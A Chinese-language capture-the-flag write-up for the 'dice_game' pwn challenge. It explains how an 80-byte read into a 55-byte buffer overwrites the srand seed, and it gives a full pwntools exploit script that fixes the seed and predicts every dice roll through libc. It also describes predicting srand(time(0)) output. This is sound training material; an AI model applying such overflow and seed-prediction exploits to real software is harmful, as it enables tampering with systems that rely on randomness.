题源
https://adworld.xctf.org.cn/challenges/details?hash=44d9a90e-dbba-4065-b24d-2cb74006e0a5_2
题解
TL;DR
利用刻意设置的缓冲区溢出漏洞,修改随机数种子
首先照例checksec检查一下
64位程序,用IDA看一下代码逻辑
程序大意是先要求用户输入一行字符串,然后进行猜数字的循环,其中sub_A20
函数是每次猜数字的程序,如下所示
使用rand
函数生成随机数,并将结果映射到[1,6]的区间内。由于题目使用了srand
设置随机数种子,而且不允许猜错一次,所以只能利用漏洞控制seed。容易看出main函数第13行读入80个字符,而buf缓冲大小只有55,且size与seed之间的距离在80字符以内,且seed的初始化早于buf读入。所以可以用buffer overflow来覆写seed。
题目给出了libc,直接调用这个库里的srand
和rand
函数即可。
完整代码
from pwn import *
from ctypes import *
io = process('./dice_game')
#io = remote('61.147.171.105',56270)
elf = cdll.LoadLibrary('./libc.so.6')
elf.srand(0x33333333)
io.sendlineafter(b'name: ',b'3'*0x50)
for i in range(50):
random_num = elf.rand()
io.sendlineafter(b'(1~6): ',f'{
random_num%6+1}'.encode())
io.interactive()
总结
非常简单的一道缓冲溢出pwn题,顺便结合了下python调用libc函数与srand
设置初始化种子的知识点,read
函数的bug弄得太明显了。
类似的srand
漏洞也有一些,比如如果知道使用的是常见的srand(time(0))
的设置方法、且rand
的结果和对应的第几次调用已知的话,可以通过遍历时间的方法确定后续的所有随机结果。